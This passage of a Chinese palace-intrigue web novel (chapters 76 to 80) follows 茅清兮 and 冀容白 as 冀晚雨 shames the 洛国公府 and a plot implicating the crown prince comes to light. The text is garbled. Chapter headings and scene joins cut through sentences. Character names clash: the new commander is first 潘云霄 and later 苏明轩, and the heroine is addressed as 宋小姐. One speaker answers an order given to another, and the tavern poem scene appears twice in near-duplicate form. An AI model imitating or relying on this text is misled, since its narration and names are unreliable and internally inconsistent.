钱阳吓了一跳,赶忙再次将人扶住,搂在怀里。 “什么救命不救命的,举手之劳,举手之劳!” 钱阳一边说着,一边挠着后脑勺,眼神却一刻也舍不得从冀晚雨身上移开。 他哪里还记得什么“救人一命胜造七级浮屠”的古话,只知道自己怀里抱着的是个天仙似的美人儿。 这模样,活脱脱一个被美色迷昏了头脑的纨绔子弟。 康熙王一看自家儿子这神情,还有什么不明白的? 只要他儿子乐意,别说一个冀晚雨,就是天上的仙女,他也得想办法给他弄下来! 他当即转头去问冀二夫人,却见冀二夫人脸色铁青,牙齿咬得咯咯作响,恨不得把冀晚雨给生吞活剥了。 冀二夫人死死盯着冀晚雨,心中怒火翻腾。 这个死丫头,不想嫁给那个半截身子都入了土的蒋侍郎,竟然想出这么个下三滥的法子! 她今天不惜搭上自己的名节清白,在众人面前演这么一出苦肉计,还不是想让蒋家知难而退。 毕竟,出了这档子事,就算蒋侍郎再想娶,也得掂量掂量自己的脸面。 冀晚雨的目的,算是达到了。 钱阳却浑然不觉,依旧围着冀晚雨嘘寒问暖,关怀备至。 冀晚雨被他缠得紧了,脸上闪过一丝不耐烦的神色,但她掩饰得极好,没让钱阳瞧出来。 当冀晚雨从人群中走出来时,恰好经过冀二夫人身边。 她微微侧头,唇角勾起一抹得意的冷笑。 这一幕,正好被站在人群外围的冀容白和茅清兮尽收眼底。 “走吧。”冀容白淡淡开口,声音里听不出任何情绪。 他转动轮椅,缓缓离去。 茅清兮推着他,跟在他身后,慢慢消失在夜色之中。“把她带回屋里!” 冀二夫人咬牙切齿,每个字都像是从牙缝里挤出来的。 余光瞥见钱阳那傻小子还眼巴巴地凑上来,那副痴情模样,简直让人作呕: “晚雨妹妹,你这是怎么了?身子可还好?” 冀二夫人深吸一口气,指甲都快掐进肉里。她强忍着把这蠢货一脚踹开的冲动,挤出一个比哭还难看的笑: “小王爷放心,晚雨她……只是受了点惊吓。我这就让人送她回去,再请个太医来瞧瞧。” 她一边说,一边拼命朝丫鬟们使眼色,示意她们赶紧把冀晚雨这惹祸精弄走。 钱阳这才恋恋不舍地退开,一步三回头,那黏糊劲儿,让冀二夫人恨不得拿针缝上他的眼。 冀晚雨被带回了屋子。 才刚进屋,她就被按在了床榻上。 冀二夫人挥退了下人,房门“砰”的一声关上,将一切喧嚣隔绝在外。 屋内,只剩下了她们两人。 沉默。 令人窒息的沉默。 空气仿佛凝固了一般,压抑得让人喘不过气。 “啪——” 冀二夫人猛地一拍桌子,积压的怒火再也控制不住,如决堤的洪水般倾泻而出。 她几步冲到床边,手指几乎戳到冀晚雨的脸上,声音尖锐得像一把生锈的刀子: “冀晚雨!你个小娼妇!竟敢当众勾引小王爷?你的脸呢?都丢到狗肚子里去了?!” 冀晚雨缓缓坐起身,单薄的身子微微颤抖,脸色苍白如纸,但她的眼神却异常平静。 她勾了勾嘴角,露出一抹讥讽的笑,轻声问道: “二婶说的……是哪个?我?还是……二妹?” 她故意停顿了一下,语气中带着一丝玩味: “若论‘不要脸’……二妹的‘丰功伟绩’,恐怕我拍马也赶不上。” “你!你……” 冀二夫人气得浑身发抖,脸色由红转白,再由白转青,像个调色盘似的。 “好你个冀晚雨,牙尖嘴利!终于露出你的狐狸尾巴了!” 她喘着粗气,胸口剧烈起伏,恨不得将冀晚雨生吞活剥。 冀晚雨却笑得更欢了,她轻轻拨弄着耳边的碎发,语气轻飘飘的,仿佛在谈论天气一般: “二婶这话说的,晚雨可担待不起。 第七十六章 ” 她抬起头,眼神清澈,却带着一丝嘲弄: “晚雨自幼所学,哪一样不是二婶您‘悉心教导’的?您教的‘规矩’,我可都铭记于心呢。” 她故意加重了“悉心教导”四个字,语气中充满了讽刺: “哦,对了,二妹妹可是您的‘得意门生’,您应该……好好‘嘉奖’她才是。” 这番话,绵里藏针,将冀二夫人的虚伪和恶毒揭露得淋漓尽致。 “你这个贱婢!” 冀二夫人气急败坏,扬手就要打她。 冀晚雨不躲不闪,反而迎了上去,脸上没有一丝惧色,只有无尽的冷漠和嘲讽。 她冷冷地开口,声音不大,却带着不容置疑的威慑: “二婶,您尽管打。打完这一巴掌……明日赵小王爷若是问起,我定会‘如实’禀告。” 冀二夫人的手,僵在了半空。 她气得五官扭曲,脸色青一阵白一阵,胸口剧烈地起伏着,像一个随时都会爆炸的气球。 “你……你这个小贱人……” 她咬牙切齿,声音嘶哑,每一个字都像是从喉咙里硬挤出来的。 “我当初真是瞎了眼,竟然没早点弄死你!我这辈子最后悔的事……就是没掐死你们这对野种!” 冀晚雨的脸色瞬间变得冰冷,眼中闪过一丝痛楚,但很快就被更深的寒意所取代。 冀二夫人却像找到了突破口,愈发恶毒地咒骂: “你们这对来路不明的孽障!谁知道是哪个贱男人留下的野种,竟敢来败坏我们冀家的门楣!” 冀晚雨眼中的恨意,如毒蛇般猛地蹿了出来。 她猛地起身,一把抓住冀二夫人的衣领,将她拽到自己面前,两人几乎脸贴着脸。 她一字一顿地说,声音低沉而阴冷,每一个字都像淬了毒的刀子: “这话……你怎么不去当着冀容白的面说?怎么不去皇上面前说?” 她猛吸一口气,声音陡然拔高,带着一丝歇斯底里: “冀容白身上流的可是皇家的血!你敢说他是野种吗?!” 冀二夫人脸色惨白,眼中闪过一丝恐惧,她惊恐地大叫: “你给我闭嘴!疯了不成?!” 冀晚雨冷笑,笑声中充满了鄙夷和不屑: “你们不敢!你们都怕死!” 她猛地松开冀二夫人,踉跄着后退了几步,眼神空洞而绝望: “所以,就算你们恨不得冀容白立刻去死,也只能把他当祖宗一样供着!我呢……” 她的声音低了下去,带着一丝自嘲和悲凉: “不过是个没人要的野种,连自己身上流着谁的血都不知道!” “冀晚雨,你胡说八道什么?!我看你是失心疯了!” 冀二夫人气得浑身发抖,指着冀晚雨的手指不停地颤动,恨不得立刻撕烂她的嘴。 “呵。” 冀晚雨轻笑一声,情绪却突然平静了下来,仿佛刚才那个失控的人不是她。 她慢条斯理地整理着衣衫,眼神变得幽深而冷漠: “二婶放心,我惜命得很。” 她顿了顿,嘴角勾起一抹诡异的笑容: “只要你们不敢把冀国公夫人的那些‘风流韵事’公之于众,这事就烂在我肚子里了。” 冀晚雨抬起头,看着冀二夫人,眼中闪过一丝算计: “所以啊,二婶……您可得多给我备些嫁妆。我好歹也是国公府的‘大小姐’,嫁妆太寒酸了,岂不让人笑掉大牙?” 她故意拖长了声音,尾音微微上扬,带着一丝得意和挑衅: “哈哈哈哈……” 冀晚雨放声大笑,笑声尖锐刺耳,在空荡荡的房间里回荡,让人毛骨悚然。 冀二夫人瞪大了眼睛,死死地盯着冀晚雨,仿佛在看一个怪物,浑身颤抖: “疯了……你真是疯了……” 她跌跌撞撞地后退,像是逃离瘟疫一般,猛地打开房门,逃也似的离开了。 冀晚雨的笑声,戛然而止。 她脸上的笑容也瞬间消失,只剩下一片冰冷的死寂: “这才哪到哪儿……” …… 花朝节遇袭,龙颜震怒。 锦衣卫、禁军两大统领,双双被革职查办,贬为平民。 圣上铁腕整肃,严查叛党,提拔了名不见经传的禁军副将毛西元,执掌禁军,清剿余孽。 旨意如惊雷,震动朝野。各地官兵如临大敌,一旦查出与叛党有染,立斩不赦。 回京的马车内,气氛压抑而沉闷。 “皇上这一手,倒是出人意料。” 茅清兮打破了沉默,她轻轻敲打着车窗,若有所思。 “毛西元此人,我倒是略有耳闻。出身贫寒,却一身正气,从未听说他与哪家权贵有过来往。禁军落入他手,倒也算是……落在了实处。” 冀容白顿了顿,话锋一转: “只是,锦衣卫那边……新任指挥使潘云霄,却是个难啃的骨头。” “哦?”茅清兮挑眉,“此话怎讲?” 冀容白微微蹙眉,似乎在思索着什么: “苏家……虽是商贾出身,但在安州根基深厚,富可敌国。当年,先帝为三皇子铺路,曾令其迎娶苏家嫡女。只是……” 他叹了口气,语气中带着一丝惋惜: “红颜薄命,那位苏小姐过门不久便撒手人寰。如今虽立了太子,可太子妃之位……却一直悬而未决。” 茅清兮沉吟着: “也就是说苏家与当今太子间必有嫌隙,而这位苏大人会否是太子的人,很难说。” 冀容白颔首,表示同意: “正是。况且苏明轩此人,性情孤傲,不喜攀附权贵。即便太子有意拉拢,他未必会买账。” 他指尖轻点桌面,声音低沉: “如今看来,宁王在锦衣卫和禁军中的势力被连根拔起,可太子除了可能并无用处的苏明轩……似乎也未占到什么便宜。” 两人对视一眼,都从对方眼中看到了疑惑和凝重。 若这真是叛党所为,那他们的目的究竟是什么? 仅仅是为了制造混乱? 绝不可能。 茅清兮和冀容白都不是会轻易下结论的人。 唯一的解释就是:幕后黑手藏得太深,他们还未触及到真相的核心。 圣驾回銮,各府车马也陆续返程。 茅清兮心中一直惦记着俞霜的事。 虽已收留了她,但若不摸清她的底细,实在不敢轻易用她。 可青羽暗卫只在京城活动,对江湖之事知之甚少,这让她有些犯难。 至于司玄苏……他查到的东西,未必可靠,反而可能打草惊蛇。 正当她思忖之际,冀容白忽然开口: “俞霜的底细,交给我吧。三日之内,必有回音。” 茅清兮一愣,转头看向他,眼中闪过一丝惊讶。 冀容白微微一笑,眼中带着温和的光芒,语气轻柔却坚定: “娘子的事,便是我的事。 第七十七章 查清她的来历,也算帮娘子一个忙。” 茅清兮微微怔了怔,随即点头应允,语气中带着一丝轻松和感激: “如此……便多谢了。” 马车缓缓驶向洛国公府,还未到门口,就看到冀晚雨从钱阳的马车上下来。 秦府众人脸色阴沉得像锅底,一个个都像是吃了死苍蝇一样难受。 冀晚雨此举,无异于当众打了洛国公府的脸! 哪家未出阁的小姐,会放着自家的马车不坐,反而去坐别的男人的马车? 更何况,冀晚雨下车时,还是钱阳亲自扶下来的,那亲昵的举动,简直让人没眼看。 “冀晚雨,你给我滚过来!” 冀国公黑着脸,声音低沉而严厉,带着压抑的怒火。 冀晚雨抬眼看了他一眼,眼神淡漠,没有丝毫畏惧。 她缓步走到冀国公身后,微微屈膝行礼,动作优雅得体,挑不出半点毛病。 冀国公强压着怒火,冷冷地对钱阳道: “小王爷,今儿个刚从宫里回来,府里乱糟糟的,就不请您进去喝茶了。” 这话,明着是客气,实则是下了逐客令。 谁知,钱阳却像没听懂似的,嬉皮笑脸地说道: “国公爷误会了,本王此番前来另有要事,本王是来找晚雨的!” 他这话一出,冀国公的脸色更黑了,简直能拧出水来。 就在这时,冀晚棠风风火火地从府里冲了出来,脸上还带着未消的怒意: “娘,你们可算回来了!我在这深宫里快闷出病来了!” 她一边抱怨,一边看向冀晚雨,眼中闪过一丝嫉恨和怨毒。 她忽然想起自己被禁足在家,而冀晚雨却能去参加花朝节,心中的怒火“腾”地一下就窜了起来: “娘!您干嘛非要带冀晚雨这个小贱人出门?她就该在家里伺候我!” “凝儿!住口!” 冀二夫人想阻止已经来不及了,只能眼睁睁地看着女儿口无遮拦。 平日里,冀晚棠在府里作威作福惯了,对冀晚雨更是呼来喝去,根本不觉得这话有什么不妥。 “你说什么?!” 钱阳却不乐意了。 在他眼里,冀晚雨就是那误落凡尘的仙女儿,是他捧在手心里怕摔了,含在嘴里怕化了的宝贝,岂容他人如此羞辱? 他瞪着冀晚棠,怒目圆睁: “你算哪根葱?竟敢辱骂晚雨?!” 冀晚棠翻了个白眼,满脸不屑: “你又是哪根葱?我教训自家的丫鬟,与你何干?” 钱阳“噌”地一下蹿到冀晚雨身前,将她护在身后,像一头护崽的母狮子: “晚雨是本王的人!谁敢动她一根汗毛,就是跟本王过不去!” 他越说越激动,声音也越来越大: “我这就回去禀告父亲,让他上书参洛国公府一本!竟敢如此苛待嫡女?!” 冀二夫人彻底懵了,她万万没想到,钱阳竟然会为了冀晚雨出头,还说出这种话来。 她连忙上前,试图解释: “小王爷息怒,这其中定是有什么误会,您说是不是,晚雨?” 她一边说,一边拼命给冀晚雨使眼色,希望她能顺着自己的话说。 谁知,冀晚雨却微微一笑,轻轻摇了摇头: “没有误会。我在府里……一直都是被妹妹当丫鬟使唤的。” 她这话,无疑是火上浇油,让本就剑拔弩张的气氛更加紧张。 冀国公气得浑身发抖,他万万没想到,冀晚雨竟然敢当着这么多人的面,说出这种大逆不道的话来。 “冀晚雨!你胡说八道什么?!” 他怒吼一声,声音都劈叉了。 冀晚雨早已豁出去了,今日,她就要让洛国公府颜面扫地! “难道我说错了吗?” 她抬起头,直视着冀国公,眼中没有一丝惧色: “我身为国公府的嫡出小姐,却被二婶和二妹欺凌,从小到大,从小就在拳打脚踢中长大,连口热饭都吃不上!” “竟有这等事?!” 钱阳心疼坏了,连忙握住冀晚雨的手,柔声安慰。 他转头看向冀国公,眼中充满了愤怒和指责。 冀晚雨低垂着头,肩膀微微颤抖,一副泫然欲泣的模样。 周围的人群中,顿时响起了一阵窃窃私语声,各种议论纷纷扬扬。 钱阳猛地拉起冀晚雨的手,紧紧地握着,大声宣布: “走!跟本王回府!再也不要回这个鬼地方了!” 冀晚雨顺从地点了点头,眼中闪过一丝感激和决绝。 冀国公气得脸色铁青,指着冀晚雨,半天说不出一个字。 他万万没想到,事情竟会发展到这个地步。 看着冀晚雨真的跟着钱阳扬长而去,所有人都惊呆了,一个个都张大了嘴巴,说不出话来。 “天呐,这过的都是什么日子啊,连家都不敢回了?” “哪有还没过门的姑娘家,就跟着男人回府的?这……这简直有辱门风!冀国公是怎么教女儿的?” “就是就是,就算普通人家的女儿,也不会这么不知廉耻!” 各种各样的议论声,像一把把尖刀,狠狠地扎在冀国公的心上。 冀国公只觉得胸口一阵闷痛,一口气没上来,眼前一黑,竟直挺挺地倒了下去。 “老爷!老爷!” “快来人啊!老爷晕倒了!” 府门前,顿时乱作一团,尖叫声、呼喊声此起彼伏,乱成了一锅粥。 冀容白看着眼前这出闹剧,神色淡漠,仿佛一切都与他无关。 他微微侧头,对茅清兮说道: “回头,咱们院子得另开一扇门。省得……跟这些人搅合在一起。” 茅清兮却在想另一件事。 她微微蹙眉,犹豫了一下,还是对冀容白说道: “我……在冀晚雨身上,闻到了一股沉水香京城这几天的热闹,比戏园子里唱大戏还精彩,全都是洛国公府的“好戏”。 康熙王这回是铁了心要跟洛国公府过不去,一封奏折,把洛国公府的老底儿都给掀了。 奏折上写的那叫一个触目惊心:冀国公纵容府里人苛待亲生儿女,把嫡子嫡女当牛马使唤,作践糟蹋。 最让人大跌眼镜的是,昨天冀国公的亲闺女冀晚雨,吓得连家门都不敢进,扭头就跟着康熙王钱阳回了王府。 这可真是……前所未闻! 谁不知道,冀国公的嫡子,那是冀容白啊! 冀容白跟冀国公不对付,这事儿满京城的人都知道。可到底为啥,谁也说不清。 如今康熙王这一参,算是把洛国公府的遮羞布给扯了个干净。 早朝上,大臣们看冀国公的眼神,那叫一个耐人寻味。 圣上高坐龙椅,慢悠悠地开口:“燕爱卿,康熙王所奏之事,可都属实啊?” 冀国公把牙都快咬碎了,从牙缝里挤出几个字:“皇上… 第七十八章 …这都是污蔑!” “污蔑?你亲闺女还能污蔑你不成?”康熙王可不打算就这么放过他,冷笑着补了一刀。 圣上眼神微微一动。 他可不想让朝堂上的口水都淹在这事儿上,毕竟这里面还牵扯到冀容白。 圣上清了清嗓子,缓缓说道:“朕听闻钱阳与冀家丫头情投意合,甚好,这桩婚事,宜早不宜迟。” 圣上一句话,就把这事儿给定性了,谁还敢再多说一句? 可这事儿传到民间,那可就变了味儿了。洛国公府,算是彻底出了名,只不过是臭名。 茅清兮听着那些传得越来越邪乎的流言,眉头都快拧成麻花了。 什么冀国公丧心病狂,吃自己孩子的肉,这种话也亏他们编得出来。 她转头看向冀容白,想看看他什么反应。 冀容白倒是气定神闲,脸上还挂着笑: “不过是稍加引导,传成这样,倒也在意料之外。” 他这话,说得轻巧。 也是,洛国公府,他可是一点儿也不放在心上。 茅清兮想想洛国公府那些人的德行,也觉得他们不值得冀容白费心思。 只是,冀晚雨好歹是他妹妹,不知他心里…… 她这心思,冀容白一眼就看穿了。 “娘子不必如此看我。这府里,并无我的亲人。至于冀晚雨……” 冀容白的声音顿了顿,长长的睫毛垂了下来,遮住了眼底的一丝落寞,语气也变得有些飘忽。 “她从娃娃时就对我有意见,认定我不配当她兄长,冀徒临才是她心里的兄长。” 茅清兮张了张嘴,想安慰他,却又不知道该说什么。 话到嘴边,变成了:“呃……巧了,我也有个讨厌的弟弟。” 冀容白听了,轻轻摇了摇头,嘴角勾起一抹笑,只是那笑里,带着几分苦涩。 “不同的。她恨我,比冀徒临他们,更甚。” 茅清兮想起冀晚雨看冀容白的眼神,确实,那是一种深入骨髓的恨意。 这洛国公府上下,就没一个希望冀容白好的。 这么一想,自己和冀容白也算同病相怜。 她把自己碟子里最后一块千层酥夹起来,放到了冀容白面前。 “喏,最后一块了,给你。” 冀容白抬眸看她,眼神温柔得能滴出水来,嘴角也微微上扬。 “娘子待我真好。” “少贫嘴。”茅清兮嗔了他一眼。 冀容白也不再说什么,只是默默地拿起那块千层酥,一小口一小口地吃了起来,像是舍不得吃完似的。 等他咽下最后一口,才缓缓开口: “对了,俞霜的来历,有眉目了。” “这么神速?” 茅清兮惊讶地睁大了眼睛,这还不到两天呢,冀容白这办事效率,也太惊人了。 冀容白微微颔首,解释道:“俞霜所言非虚,她确是兰陵堡之人。当初苏家救了她,将她与一众江湖人士一同安置。后来,苏家家主命她入京,暗中保护茅暮暮。” 茅清兮柳眉微蹙,问:“那俞霜说的,兰陵堡灭门惨案,真是太子所为?” 冀容白没有直接回答,而是反问道: “十一年前,二皇子谋逆一案,你可还记得?” 茅清兮想了想。 她隐约记得,先帝在位时,曾立二皇子为储君。可后来,突然爆出二皇子谋逆,先帝震怒,下令将其处死。 “二皇子当年获罪,是因为有人指证他勾结江湖势力,意图谋反。那些江湖人,打着二皇子的名号,纠集前朝残党,犯上作乱。” 冀容白顿了顿,接着说: “为首的,就是兰陵堡。但兰陵堡被灭门,并非先皇下的旨,而是有人暗中动手。俞霜所查到的线索,最终都指向了太子。” 茅清兮瞬间明白了过来。 “太子栽赃陷害了二皇子,只因挡了他的太子路?” 她看向冀容白,眼神中带着询问。 冀容白轻轻点了点头。 茅清兮脑海中灵光一闪,这可是个扳倒太子的绝佳机会! 如果能找到太子陷害二皇子的铁证…… 这个念头一旦冒出来,就再也挥之不去。 她越想越觉得可行,而且,她对俞霜也有了新的安排。或许,可以让俞霜去做些什么…… 入夜。 茅清兮带着俞霜,准备去找司玄苏商议。 两人走在夜色中,经过一家医馆时,突然,一个人影踉踉跄跄地从医馆里冲了出来,像是身后有什么东西在追赶。 俞霜反应极快,立刻挡在了茅清兮身前,护住她。 “救命!救命啊!” 那人一边跑一边喊,声音嘶哑。 俞霜仔细一看,愣住了:“主子,是刁明远。” 茅清兮抬眼望去,果然是刁明远。 只见他身后,一个黑衣人提着刀,步步紧逼。 刁明远也看到了她们,像是看到了希望,跌跌撞撞地跑了过来。 “救命!有人要杀我!” 他跑到茅清兮面前,突然愣了一下。 他想起在别院时,茅清兮挺身而出,救下他的场景。 刁明远像是溺水之人抓住了救命稻草,扑通一声跪倒在茅清兮脚边,声音颤抖: “茅清兮,救我……” 茅清兮没有立刻回应他,而是看向那个追杀他的黑衣人。 她上上下下打量着,突然,嘴角勾起一抹玩味的笑容。 她转头看着刁明远,缓缓开口: “别怕,放心,我一定护你周全。” 她顿了顿,故意拉长了声音。 “毕竟……她若敢动你一根汗毛,那这出戏,可就不好唱了。” 刁明远还没明白过来她话里的意思,就听见茅清兮的声音陡然转冷,像是淬了毒的刀锋: “俞霜,动手。” “是。” 俞霜没有丝毫迟疑,应了一声,拔刀就冲了上去。刁明远被俞霜制住的黑衣人吓破了胆,大气不敢出。 直到俞霜“唰”地收刀入鞘,他才如释重负,紧绷的身体瞬间松垮,两条腿再也撑不住,一屁股跌坐在地上。 “宋,宋小姐……多谢你,救了我……” 他磕磕巴巴地说着,脑海中却不受控制地闪过一幕幕画面——那些他对茅清兮冷嘲热讽、质疑轻视的过往,以及茅清兮在别院时挺身而出。 羞愧如潮水般涌上心头,刁明远恨不得找个地缝钻进去。他挣扎着想从地上爬起来,手忙脚乱地整理着凌乱的衣衫,袖口处还沾着几片未来得及抖落的枯叶。 “非要谢我,且行且珍惜。” 茅清兮瞥了他一眼,语气淡淡的,却透着一股说不出的意味深长。 她微微侧过头,似乎并不想与他对视, “我还等着,看你风风光光迎娶茅暮暮进门呢。” 刁明远一怔。他知道茅清兮和茅暮暮关系不好,但没想到她会在这时候提起这事,一时间竟不知该如何回应,只能尴尬地扯了扯嘴角。 第七十九章 “对了,” 茅清兮像是突然想起什么,状似随意地问道, “提亲的日子,可定下了?” “十日后。” 刁明远下意识地回答,声音低若蚊呐。 “十日……” 茅清兮垂眸,纤长的手指轻轻敲击着桌面,像是在盘算着什么。 “那敢情好,到时候,我定要去凑个热闹。” 她的声音很轻,近乎呢喃,也不知是有意还是无意。 刁明远没听清她说什么,只觉得心头一阵烦乱。 两次了!他两次性命攸关,都是茅清兮出手相救,可自己先前还那样对她…… “宋小姐,之前的事,是我……我不对……” 他鼓起勇气想要道歉,声音却越来越低,头也垂得更低了。 “行了,别婆婆妈妈的。” 茅清兮却不耐烦听这些,直接打断了他, “俞霜,送他回去,再来寻我。” “是。” 俞霜应声,上前一步,单手揪住刁明远的衣领。 “我……” 刁明远还想辩解什么,俞霜却不给他机会,直接提着他飞身上了屋顶,几个起落间,就消失在夜色之中。 茅清兮转身进了醉月楼。俞霜办事,她向来放心。 不过一盏茶的功夫,俞霜便回来了,悄无声息地出现在她身后。 “玄苏,” 茅清兮吩咐道, “找个人,暗中护着刁明远。可别让他,真被人给做掉了。” 语气虽平淡,却带着一丝不容置疑的威严。 茅暮暮想在成亲前除掉刁明远? 她偏不让!茅清兮冷笑,眸中闪过一丝冰冷的算计。 “是。” 司玄苏领命而去,身形一闪,便消失在走廊尽头。 “俞霜,” 茅清兮看向俞霜, “关于兰陵堡的灭门惨案,你都查到了些什么?” 她把话头直接引向了方家灭门惨案,省去了那些无用的客套寒暄。 “当年,兰陵堡先是被污蔑与前朝余孽勾结,后又被扣上协助二皇子谋反的罪名,可这些,分明是有人栽赃陷害!” 俞霜的眼眶瞬间泛红,声音里压抑着刻骨的恨意,每一个字都像是从牙缝中挤出来的。 她紧紧握住腰间的青虹剑,指节因用力而泛白,手背上的青筋都微微凸起。 “之后,官府竟对外宣称,兰陵堡上下是畏罪自尽……这些年,我从未放弃追查,可却始终找不到真凶。” 俞霜顿了顿,像是在竭力控制着自己的情绪。 “待我抵达帝都,为了茅暮暮……为了查清太子的喜好,我曾暗中跟踪过他。” 她深吸一口气,缓缓说道, “我发现,太子身边有一个十分信任的谋士,此人,曾在兰陵堡灭门之前,去过兰陵堡!” 俞霜紧紧抿着唇,眼中闪过一丝痛苦, “可我能查到的,只有这些了。当年我还太小,很多事情都不记得了。时间又过去这么久,很多证据,都已经找不到了……” 茅清兮静静地听着,没有打断她。她能理解俞霜的感受,那种家破人亡,却又无能为力的绝望和痛苦。 “那个谋士,叫什么名字?” 茅清兮沉声问道,语气中带着一丝凝重。 “孔谋。” 俞霜缓缓吐出这个名字,仿佛用尽了全身的力气。 茅清兮心头一震。 孔谋! 竟然是他! 那个在青松观外,与她有过一面之缘的儒生!那个看似温润如玉,实则心思深沉的男人! 十一年前,他还只是个初出茅庐的年轻人,竟然就已经开始为太子出谋划策了吗? 茅清兮的脸色变得有些难看。这个孔谋,远比她想象的还要可怕。 “孔谋此人心机深不可测,行事又极为隐蔽,我们不能打草惊蛇。” 茅清兮沉声说道, “要扳倒太子,更是难上加难,需从长计议,不可操之过急。” “属下明白,一切听凭主子吩咐。” 俞霜郑重回应,眼中闪烁着坚定的光芒。 茅清兮心中已有了决断,她需要一个可靠的人,留在身边协助自己。 而俞霜,无疑是最好的人选。 “这把青虹剑,你拿回去。” 茅清兮从腰间解下青虹剑,递给俞霜。 “主子,这……” 俞霜一惊,连忙推辞, “这是属下孝敬您的,您……” “我不擅用刀。” 茅清兮直接打断了她的话,语气不容置疑, “这把刀,只有在你手里,才能发挥出它应有的威力。” 她更习惯用枪和剑,刀,对她来说,确实有些鸡肋。与其让宝刀蒙尘,不如物归原主,让它在俞霜手中,绽放出更加耀眼的光芒。 俞霜的眼眶微微湿润,她没有再推辞,而是双手接过青虹剑,紧紧地握在手中,仿佛握住了自己的生命。 “主子,小的有要事相告。” 一直沉默的司玄苏突然开口。 “说。” 茅清兮看向他。 “关于清韵公主遇险一事,属下查到了一些新的线索。” 司玄苏的声音依旧平稳,不带一丝波澜, “那日清韵公主遇险,并非意外。那家客栈,并非临时维护,而是早有预谋。” “哦?” 茅清兮挑眉,示意他继续说下去。 “据查,客栈老板在前几日,曾高价雇佣了一批工匠,让他们在客栈内进行大规模的修缮。其中一个工匠,私下收了一百两银子,按照指示,在清韵公主经过时,故意弄塌了房梁。” 司玄苏顿了顿, “只是,那工匠说,他不记得指使他的人长什么样子。” “一百两……还真是大手笔。” 茅清兮冷笑一声,眼中闪过一丝嘲讽, “乐雅书这一出英雄救美,可真是下了血本了!” 寻常女子,面对这样的救命之恩,怕是早已芳心暗许,感激涕零。只可惜,他算错了人。 “此事,需尽快告知清韵公主,让她早做防范。” 茅清兮沉吟片刻,说道, “乐雅书此人,绝非善类,不可不防。” 她当即修书一封,派人送往清韵公主府,邀她到醉月楼一聚。 次日,清韵公主风风火火地赶到了醉月楼。 司玄苏早已等候多时,将她引上楼。 清韵一见到茅清兮,就跟见了亲人似的,猛扑上来,一把抱住她,激动地大喊: “清兮!你可真是我的好姐妹!要不是你,如今被亲娘软禁在府中,出都出不来!” 茅清兮被她这突如其来的热情弄得一愣,差点没站稳。 “殿下因何将你囚禁?” 茅清兮定了定神,问道。 “还不是因为我那婚事!” 清韵公主放开茅清兮,气呼呼地一屁股坐在椅子上, “我娘非说我什么都不会,怕我嫁过去丢人现眼,硬逼着我学这学那,我都快烦死了!” “可你这性子,一时半会儿,怕是也学不会什么吧。” 茅清兮忍不住说道。 第八十章 “谁说不是呢!” 清韵公主一拍桌子, “我跟我娘也是这么说的,可她偏不听!还说什么,就算学不会,也得装装样子,免得让人家笑话!” 茅清兮无奈地摇了摇头, “长公主以前,不是最疼你的吗?怎么如今……” “可不是嘛!我也觉得,我娘现在不疼我了,眼里只有我的婚事,只有皇家的体面!” 清韵公主说着,情绪又低落下来,像一只泄了气的皮球,无精打采地趴在桌子上。 “对了,你找我来,到底有什么事?” 她突然抬起头,问道。 茅清兮这才想起正事,她收敛心神,将乐雅书的阴谋,一五一十地告诉了清韵。 “这个乐雅书,简直是胆大包天!” 清韵公主听完,气得直拍桌子, “他以为他是谁?本公主会看上他?真是癞蛤蟆想吃天鹅肉!” “长公主似乎对他颇为满意。” 茅清兮提醒道。 “哎呀,这可不行!” 清韵公主急得直跺脚, “我得赶紧回去跟我娘说,可不能让她也被乐雅书那个伪君子给骗了!” 说完,她起身就要走,风风火火的,一刻也不想多待。 突然,楼下传来一阵喧闹声,夹杂着叫好声和议论声。 清韵公主好奇心起,也顾不上走了,一溜小跑到窗边,探头往下看。 “这……这是怎么了?” 她有些疑惑地问道。 茅清兮也走到窗边,向下望去。 只见二楼大厅里,人头攒动,热闹非凡。一群文人墨客,正围着一张桌子,对着上面的一幅字,评头论足,赞不绝口。 “这字……写得真好!笔走龙蛇,力透纸背,一看就是出自大家之手!” “何止是好!这简直就是神来之笔!这气势,这意境,绝了!” “茅二小姐果然才华横溢,不愧是京城第一才女!” “是啊,这首诗,慷慨激昂,气吞山河,便是男子,也难有这等胸襟气魄!” “……” 一声声赞叹传入耳中,清韵公主的眼睛越瞪越大。 “你妹妹……这么厉害的吗?” 她转头看向茅清兮,语气中带着一丝不可思议。 茅清兮看着被众人簇拥着的茅暮暮,脸上是掩饰不住的得意和骄傲。 “她自小便在父亲的悉心教导下长大,” 茅清兮淡淡地说,语气中听不出喜怒, “自然是出类拔萃的。” “可我总觉得,这诗……不像是女子能写出来的。” 清韵公主皱着眉头, “倒像是……一个胸怀天下的男儿,所抒发的壮志豪情。”“嘶……” 三楼雅间里,清韵公主倒吸一口凉气,纤细如玉的手指捏着一方丝帕,轻轻揉着眼角,似乎有些不敢相信自己的眼睛。 “这诗……”她欲言又止,侧过头,用探寻的目光看向身旁的茅清兮。 “这诗,不像是出自女子之手。” 清韵公主的声音压得很低,带着几分犹疑。 “倒像是,胸怀天下的男儿抒发壮志。” 她顿了顿,又补充了一句。 茅清兮没吭声,只是静静地望着楼下,目光深邃。 醉月楼内,原本悬挂于最高处的那首诗,此刻被小心翼翼地取了下来。小二寻了张宽大的桌案,将诗作平铺其上。 四周,早已是人头攒动。 一群文人墨客伸长了脖子,瞪大了眼睛,恨不得把那诗作上的每一个字都吞进肚子里。 “好字!当真是好诗!” “笔走龙蛇,力透纸背,妙哉!” 赞叹声此起彼伏,一声高过一声,几乎要掀翻酒楼的屋顶。 “茅二小姐不愧是京城第一才女,我等佩服!” “可不是嘛!此诗之气魄,便是男子亦难有!” 一声声赞美,如同潮水般涌向被人群簇拥着的茅暮暮。 茅暮暮微微低着头,脸上带着恰到好处的羞涩笑意,似乎有些不胜娇羞。纤长的睫毛微微颤动,掩盖住了眼底的情绪。 可茅清兮却分明瞧见,在茅暮暮低头的瞬间,她的眼底,飞快地闪过了一丝不易察觉的得意。 “这诗……” 茅清兮微微眯起了眼睛,眸中闪过一道锐利的光芒。 总觉得哪里不对。 茅暮暮平日里虽也喜欢写些闺阁女儿的情思,可从未有过这般…… 茅清兮一时竟找不到合适的词来形容。 她沉吟片刻,脑海中忽然闪过一个念头—— 这诗,就像是一只披着羊皮的狼! 表面上看起来温顺无害,实则内里藏着猛虎! 而茅暮暮……她能驾驭得了这只猛虎吗? 正当茅清兮思忖之际,人群中,忽然响起了一个格格不入的声音。 “且慢。” 这声音清冷低沉,带着几分不容置疑的威严。 原本喧闹的酒楼大堂,瞬间安静了下来。 众人循声望去,只见一个身着青衫的年轻人,正缓步走来。 